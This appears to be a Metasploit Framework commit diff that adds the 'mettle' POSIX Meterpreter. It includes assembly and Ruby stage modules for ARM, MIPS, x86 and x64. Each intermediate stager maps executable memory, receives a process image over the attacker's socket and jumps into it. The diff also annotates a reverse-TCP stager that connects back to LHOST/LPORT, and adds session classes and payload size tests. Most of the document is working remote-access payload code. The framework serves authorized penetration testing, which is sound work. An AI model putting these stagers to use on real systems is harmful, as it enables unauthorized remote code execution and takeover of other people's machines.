Land #7068, Introduce 'mettle' - new POSIX meterpreter
commit
7b1d9596c7
|
@ -16,6 +16,7 @@ PATH
|
|||
metasploit-model
|
||||
metasploit-payloads (= 1.1.12)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle
|
||||
msgpack
|
||||
network_interface
|
||||
nokogiri
|
||||
|
@ -161,6 +162,7 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.0.5)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.0)
|
||||
mime-types-data (~> 3.2015)
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
.global _start
|
||||
|
||||
@ Required symbols:
|
||||
@ SIZE: size of the final payload
|
||||
@ ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
_start:
|
||||
@ mmap the space for the mettle image
|
||||
mov r0, #0 @ address doesn't matter
|
||||
ldr r1, =SIZE @ more than 12-bits
|
||||
mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS
|
||||
mov r4, #0 @ no file
|
||||
mov r5, #0 @ no offset
|
||||
|
||||
mov r7, #192 @ syscall: mmap2
|
||||
svc #0
|
||||
|
||||
@ recv the process image
|
||||
@ r12 contains our socket from the reverse stager
|
||||
mov r2, r1 @ recv the whole thing (I, too, like to live dangerously)
|
||||
mov r1, r0 @ move the mmap to the recv buffer
|
||||
mov r0, r12 @ set the fd
|
||||
mov r3, #0x100 @ MSG_WAITALL
|
||||
|
||||
ldr r7, =#291 @ syscall: recv
|
||||
svc #0
|
||||
|
||||
@ set up the initial stack
|
||||
@ The final stack must be aligned, so we align and then make room backwards
|
||||
@ by _adding_ to sp.
|
||||
and sp, #-16 @ Align
|
||||
add sp, #36 + 4 @ Add room for initial stack and prog name
|
||||
mov r4, #109 @ "m" (0,0,0,109)
|
||||
push {r4} @ On the stack
|
||||
mov r4,#2 @ ARGC
|
||||
mov r5,sp @ ARGV[0] char *prog_name
|
||||
mov r6,r12 @ ARGV[1] int socket fd
|
||||
mov r7,#0 @ (NULL)
|
||||
mov r8,#0 @ (NULL) (Ending ENV)
|
||||
mov r9,#7 @ AT_BASE
|
||||
mov r10,r1 @ mmap'd address
|
||||
mov r11,#0 @ AT_NULL
|
||||
mov r12,#0
|
||||
push {r4-r12}
|
||||
|
||||
@ hack the planet
|
||||
ldr r0, =ENTRY
|
||||
add r0, r1
|
||||
bx r0
|
|
@ -0,0 +1,59 @@
|
|||
.global __start
|
||||
|
||||
# Required symbols:
|
||||
# SIZE: size of the final payload
|
||||
# ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
___start:
|
||||
# mmap the space for the mettle image
|
||||
move $a0, $zero # address doesn't matter
|
||||
li $a1, SIZE # more than 16-bits
|
||||
li $a2, 7 # PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
li $a3, 0x802 # MAP_PRIVATE | MAP_ANONYMOUS
|
||||
|
||||
sw $0, 16($sp) # Dumb O32 ABI
|
||||
sw $0, 20($sp)
|
||||
|
||||
li $v0, 4090 # syscall: mmap
|
||||
syscall
|
||||
|
||||
# recv the process image
|
||||
# s2 contains our socket from the reverse stager
|
||||
move $a2, $a1 # recv the whole thing (I, too, like to live dangerously)
|
||||
move $a1, $v0 # move the mmap to the recv buffer
|
||||
move $a0, $s2 # set the fd
|
||||
li $a3, 0x100 # MSG_WAITALL
|
||||
|
||||
li $v0, 4175 # syscall: recv
|
||||
syscall
|
||||
|
||||
# set up the initial stack
|
||||
# The final stack must be aligned, so we align and then make room backwards
|
||||
# by _adding_ to sp.
|
||||
and $sp, $sp, -8 # Align
|
||||
li $t4, 0x6d00006d # BE/LE anagram of "m" (109, 0)
|
||||
sw $t4, 44($sp) # On the stack
|
||||
|
||||
# Initial program stack:
|
||||
li $t5, 2 # ARGC
|
||||
sw $t5, 0($sp)
|
||||
addi $t6, $sp, 44 # ARGV[0] char *prog_name
|
||||
sw $t6, 4($sp)
|
||||
sw $s2, 8($sp) # ARGV[1] int socket fd
|
||||
sw $0, 12($sp) # (NULL)
|
||||
sw $0, 16($sp) # (NULL) (Ending ENV)
|
||||
li $t7, 7 # AT_BASE
|
||||
sw $t7, 20($sp)
|
||||
sw $a1, 24($sp) # mmap'd address
|
||||
li $t8, 6 # AT_PAGESZ
|
||||
sw $t8, 28($sp)
|
||||
li $t9, 0x1000 # 4k
|
||||
sw $t9, 32($sp)
|
||||
sw $0, 36($sp) # AT_NULL
|
||||
sw $0, 40($sp)
|
||||
|
||||
# hack the planet
|
||||
li $s0, ENTRY
|
||||
add $s0, $s0, $a1
|
||||
jr $s0
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'armle/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mipsbe_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'mipsbe/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mipsle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'mipsle/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'x64/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'x86/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'metasploit-payloads'
|
||||
require 'metasploit_payloads/mettle'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/ui/console'
|
||||
|
|
|
@ -71,6 +71,8 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.12'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -42,6 +42,7 @@ module MetasploitModule
|
|||
"\x41\x5a" + # pop %r10
|
||||
"\xb2\x07" + # mov $0x7,%dl
|
||||
"\x0f\x05" + # syscall
|
||||
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
"\x56" + # push %rsi
|
||||
"\x50" + # push %rax
|
||||
"\x6a\x29" + # pushq $0x29
|
||||
|
@ -52,10 +53,11 @@ module MetasploitModule
|
|||
"\x6a\x01" + # pushq $0x1
|
||||
"\x5e" + # pop %rsi
|
||||
"\x0f\x05" + # syscall
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
"\x48\x97" + # xchg %rax,%rdi
|
||||
"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
|
||||
"\x15\xb3" + #
|
||||
"\x7f\x00\x00\x01" + #
|
||||
"\x15\xb3" + # LPORT
|
||||
"\x7f\x00\x00\x01" + # LHOST
|
||||
"\x51" + # push %rcx
|
||||
"\x48\x89\xe6" + # mov %rsp,%rsi
|
||||
"\x6a\x10" + # pushq $0x10
|
||||
|
@ -63,10 +65,12 @@ module MetasploitModule
|
|||
"\x6a\x2a" + # pushq $0x2a
|
||||
"\x58" + # pop %rax
|
||||
"\x0f\x05" + # syscall
|
||||
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
"\x59" + # pop %rcx
|
||||
"\x5e" + # pop %rsi
|
||||
"\x5a" + # pop %rdx
|
||||
"\x0f\x05" + # syscall
|
||||
# read(3, "", 4096)
|
||||
"\xff\xe6" # jmpq *%rsi
|
||||
}
|
||||
))
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_armle_linux'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_armle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
|
||||
# Generated from external/source/shellcode/linux/armle/stage_mettle.s
|
||||
midstager = [
|
||||
0xe3a00000, # mov r0, #0
|
||||
0xe59f1070, # ldr r1, [pc, #112] ; 0x100d0
|
||||
0xe3a02007, # mov r2, #7
|
||||
0xe3a03022, # mov r3, #34 ; 0x22
|
||||
0xe3a04000, # mov r4, #0
|
||||
0xe3a05000, # mov r5, #0
|
||||
0xe3a070c0, # mov r7, #192 ; 0xc0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a02001, # mov r2, r1
|
||||
0xe1a01000, # mov r1, r0
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe3a03c01, # mov r3, #256 ; 0x100
|
||||
0xe59f7048, # ldr r7, [pc, #72] ; 0x100d4
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe3cdd00f, # bic sp, sp, #15
|
||||
0xe28dd028, # add sp, sp, #40 ; 0x28
|
||||
0xe3a0406d, # mov r4, #109 ; 0x6d
|
||||
0xe52d4004, # push {r4} ; (str r4, [sp, #-4]!)
|
||||
0xe3a04002, # mov r4, #2
|
||||
0xe1a0500d, # mov r5, sp
|
||||
0xe1a0600c, # mov r6, ip
|
||||
0xe3a07000, # mov r7, #0
|
||||
0xe3a08000, # mov r8, #0
|
||||
0xe3a09007, # mov r9, #7
|
||||
0xe1a0a001, # mov sl, r1
|
||||
0xe3a0b000, # mov fp, #0
|
||||
0xe3a0c000, # mov ip, #0
|
||||
0xe92d1ff0, # push {r4, r5, r6, r7, r8, r9, sl, fp, ip}
|
||||
0xe59f000c, # ldr r0, [pc, #12] ; 0x100d8
|
||||
0xe0800001, # add r0, r0, r1
|
||||
0xe12fff10, # bx r0
|
||||
payload.length,
|
||||
0x00000123, # .word
|
||||
entry_offset
|
||||
].pack('V*')
|
||||
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put([midstager.length].pack('V'))
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
def generate_stage(_opts = {})
|
||||
MetasploitPayloads::Mettle.read('arm-linux-musleabi', 'mettle.bin')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,96 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
entry_h = entry_offset >> 16
|
||||
entry_l = entry_offset & 0x0000ffff
|
||||
|
||||
size = payload.length
|
||||
size_h = size >> 16
|
||||
size_l = size & 0x0000ffff
|
||||
|
||||
midstager = [
|
||||
0x00002021, # move a0,zero
|
||||
(0x3c05 << 16) | size_h, # lu a1,SIZE[31:16]
|
||||
(0x34a5 << 16) | size_l, # ori a1,a1,SIZE[15:0]
|
||||
0x24060007, # li a2,7
|
||||
0x24070802, # li a3,34
|
||||
0xafa00010, # sw zero,16(sp)
|
||||
0xafa00014, # sw zero,20(sp)
|
||||
0x24020ffa, # li v0,4090
|
||||
0x0000000c, # syscall
|
||||
0x00a03021, # move a2,a1
|
||||
0x00402821, # move a1,v0
|
||||
0x02402021, # move a0,s2
|
||||
0x24070100, # li a3,256
|
||||
0x2402104f, # li v0,4175
|
||||
0x0000000c, # syscall
|
||||
0x2401fff8, # li at,-8
|
||||
0x03a1e824, # and sp,sp,at
|
||||
0x3c0c6d00, # lui t4,0x6d00
|
||||
0x358c006d, # ori t4,t4,0x6d
|
||||
0xafac002c, # sw t4,44(sp)
|
||||
0x240d0002, # li t5,2
|
||||
0xafad0000, # sw t5,0(sp)
|
||||
0x23ae002c, # addi t6,sp,44
|
||||
0xafae0004, # sw t6,4(sp)
|
||||
0xafb20008, # sw s2,8(sp)
|
||||
0xafa0000c, # sw zero,12(sp)
|
||||
0xafa00010, # sw zero,16(sp)
|
||||
0x240f0007, # li t7,7
|
||||
0xafaf0014, # sw t7,20(sp)
|
||||
0xafa50018, # sw a1,24(sp)
|
||||
0x24180006, # li t8,6
|
||||
0xafb8001c, # sw t8,28(sp)
|
||||
0x24191000, # li t9,4096
|
||||
0xafb90020, # sw t9,32(sp)
|
||||
0xafa00024, # sw zero,36(sp)
|
||||
0xafa00028, # sw zero,40(sp)
|
||||
(0x3c10 << 16) | entry_h, # lui s0,ENTRY[31:16]
|
||||
(0x3610 << 16) | entry_l, # ori s0,s0,ENTRY[15:0]
|
||||
0x02058020, # add s0,s0,a1
|
||||
0x02000008, # jr s0
|
||||
0
|
||||
].pack('N*')
|
||||
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
def generate_stage(_opts = {})
|
||||
MetasploitPayloads::Mettle.read('mips-linux-muslsf', 'mettle.bin')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,96 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_mipsle_linux'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_mipsle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
entry_h = entry_offset >> 16
|
||||
entry_l = entry_offset & 0x0000ffff
|
||||
|
||||
size = payload.length
|
||||
size_h = size >> 16
|
||||
size_l = size & 0x0000ffff
|
||||
|
||||
midstager = [
|
||||
0x00002021, # move a0,zero
|
||||
(0x3c05 << 16) | size_h, # lu a1,SIZE[31:16]
|
||||
(0x34a5 << 16) | size_l, # ori a1,a1,SIZE[15:0]
|
||||
0x24060007, # li a2,7
|
||||
0x24070802, # li a3,34
|
||||
0xafa00010, # sw zero,16(sp)
|
||||
0xafa00014, # sw zero,20(sp)
|
||||
0x24020ffa, # li v0,4090
|
||||
0x0000000c, # syscall
|
||||
0x00a03021, # move a2,a1
|
||||
0x00402821, # move a1,v0
|
||||
0x02402021, # move a0,s2
|
||||
0x24070100, # li a3,256
|
||||
0x2402104f, # li v0,4175
|
||||
0x0000000c, # syscall
|
||||
0x2401fff8, # li at,-8
|
||||
0x03a1e824, # and sp,sp,at
|
||||
0x3c0c6d00, # lui t4,0x6d00
|
||||
0x358c006d, # ori t4,t4,0x6d
|
||||
0xafac002c, # sw t4,44(sp)
|
||||
0x240d0002, # li t5,2
|
||||
0xafad0000, # sw t5,0(sp)
|
||||
0x23ae002c, # addi t6,sp,44
|
||||
0xafae0004, # sw t6,4(sp)
|
||||
0xafb20008, # sw s2,8(sp)
|
||||
0xafa0000c, # sw zero,12(sp)
|
||||
0xafa00010, # sw zero,16(sp)
|
||||
0x240f0007, # li t7,7
|
||||
0xafaf0014, # sw t7,20(sp)
|
||||
0xafa50018, # sw a1,24(sp)
|
||||
0x24180006, # li t8,6
|
||||
0xafb8001c, # sw t8,28(sp)
|
||||
0x24191000, # li t9,4096
|
||||
0xafb90020, # sw t9,32(sp)
|
||||
0xafa00024, # sw zero,36(sp)
|
||||
0xafa00028, # sw zero,40(sp)
|
||||
(0x3c10 << 16) | entry_h, # lui s0,ENTRY[31:16]
|
||||
(0x3610 << 16) | entry_l, # ori s0,s0,ENTRY[15:0]
|
||||
0x02058020, # add s0,s0,a1
|
||||
0x02000008, # jr s0
|
||||
0
|
||||
].pack('V*')
|
||||
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
def generate_stage(_opts = {})
|
||||
MetasploitPayloads::Mettle.read('mipsel-linux-muslsf', 'mettle.bin')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_x64_mettle_linux'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Mettle x64',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Author' => [
|
||||
'Brent Cook <bcook[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'Linux',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
|
||||
midstager_asm = %(
|
||||
push rdi ; save sockfd
|
||||
xor rdi, rdi ; address
|
||||
mov rsi, #{payload.length} ; length
|
||||
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r10, 0x22 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||
xor r8, r8 ; fd
|
||||
xor r9, r9 ; offset
|
||||
mov rax, 0x9 ; mmap
|
||||
syscall
|
||||
|
||||
; receive mettle process image
|
||||
mov rdx, rsi ; length
|
||||
mov rsi, rax ; address
|
||||
pop rdi ; sockfd
|
||||
mov r10, 0x100 ; MSG_WAITALL
|
||||
xor r8, r8 ; srcaddr
|
||||
xor r9, r9 ; addrlen
|
||||
mov rax, 45 ; recvfrom
|
||||
syscall
|
||||
|
||||
; setup stack
|
||||
and rsp, -0x10 ; Align
|
||||
add sp, 80 ; Add room for initial stack and prog name
|
||||
mov rax, 109 ; prog name "m"
|
||||
push rax ;
|
||||
mov rcx, rsp ; save the stack
|
||||
xor rbx, rbx
|
||||
push rbx ; NULL
|
||||
push rbx ; AT_NULL
|
||||
push rsi ; mmap'd address
|
||||
mov rax, 7 ; AT_BASE
|
||||
push rax
|
||||
push rbx ; end of ENV
|
||||
push rbx ; NULL
|
||||
push rdi ; ARGV[1] int sockfd
|
||||
push rcx ; ARGV[0] char *prog_name
|
||||
mov rax, 2 ; ARGC
|
||||
push rax
|
||||
|
||||
; down the rabbit hole
|
||||
mov rax, #{entry_offset}
|
||||
add rsi, rax
|
||||
jmp rsi
|
||||
)
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
def generate_stage(_opts = {})
|
||||
MetasploitPayloads::Mettle.read('x86_64-linux-musl', 'mettle.bin')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,96 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_x86_mettle_linux'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Mettle x86',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Author' => [
|
||||
'William Webb <william_webb[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'Linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
|
||||
midstager_asm = %(
|
||||
push ebx ; save sockfd
|
||||
xor ebx, ebx ; address
|
||||
mov ecx, #{payload.length} ; length
|
||||
mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||
xor edi, edi ; fd
|
||||
xor ebp, ebp ; pgoffset
|
||||
mov eax, 192 ; mmap2
|
||||
int 0x80 ; syscall
|
||||
|
||||
; receive mettle process image
|
||||
mov edx, eax ; save buf addr for next code block
|
||||
pop ebx ; sockfd
|
||||
push 0x00000100 ; MSG_WAITALL
|
||||
push #{payload.length} ; size
|
||||
push eax ; buf
|
||||
push ebx ; sockfd
|
||||
mov ecx, esp ; arg array
|
||||
mov ebx, 10 ; SYS_READ
|
||||
mov eax, 102 ; sys_socketcall
|
||||
int 0x80 ; syscall
|
||||
|
||||
; setup stack
|
||||
pop edi
|
||||
xor ebx, ebx
|
||||
and esp, 0xfffffff0 ; align esp
|
||||
add esp, 40
|
||||
mov eax, 109
|
||||
push eax
|
||||
mov esi, esp
|
||||
push ebx ; NULL
|
||||
push ebx ; AT_NULL
|
||||
push edx ; mmap buffer
|
||||
mov eax, 7
|
||||
push eax ; AT_BASE
|
||||
push ebx ; end of ENV
|
||||
push ebx ; NULL
|
||||
push edi ; sockfd
|
||||
push esi ; m
|
||||
mov eax, 2
|
||||
push eax ; argc
|
||||
|
||||
; down the rabbit hole
|
||||
mov eax, #{entry_offset}
|
||||
add edx, eax
|
||||
jmp edx
|
||||
)
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
def generate_stage(_opts = {})
|
||||
MetasploitPayloads::Mettle.read('i486-linux-musl', 'mettle.bin')
|
||||
end
|
||||
end
|
|
@ -1053,7 +1053,7 @@ RSpec.describe 'modules/payloads', :content do
|
|||
modules_pathname: modules_pathname,
|
||||
reference_name: 'java/shell_reverse_tcp'
|
||||
end
|
||||
|
||||
|
||||
context 'linux/armbe/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -4216,4 +4216,180 @@ RSpec.describe 'modules/payloads', :content do
|
|||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/reverse_winhttps'
|
||||
end
|
||||
|
||||
context 'linux/armle/mettle/bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/armle/bind_tcp',
|
||||
'stages/linux/armle/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/armle/mettle/bind_tcp'
|
||||
end
|
||||
|
||||
context 'linux/armle/mettle/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/armle/reverse_tcp',
|
||||
'stages/linux/armle/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/armle/mettle/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'linux/mipsbe/mettle/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/mipsbe/reverse_tcp',
|
||||
'stages/linux/mipsbe/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/mipsbe/mettle/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'linux/mipsle/mettle/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
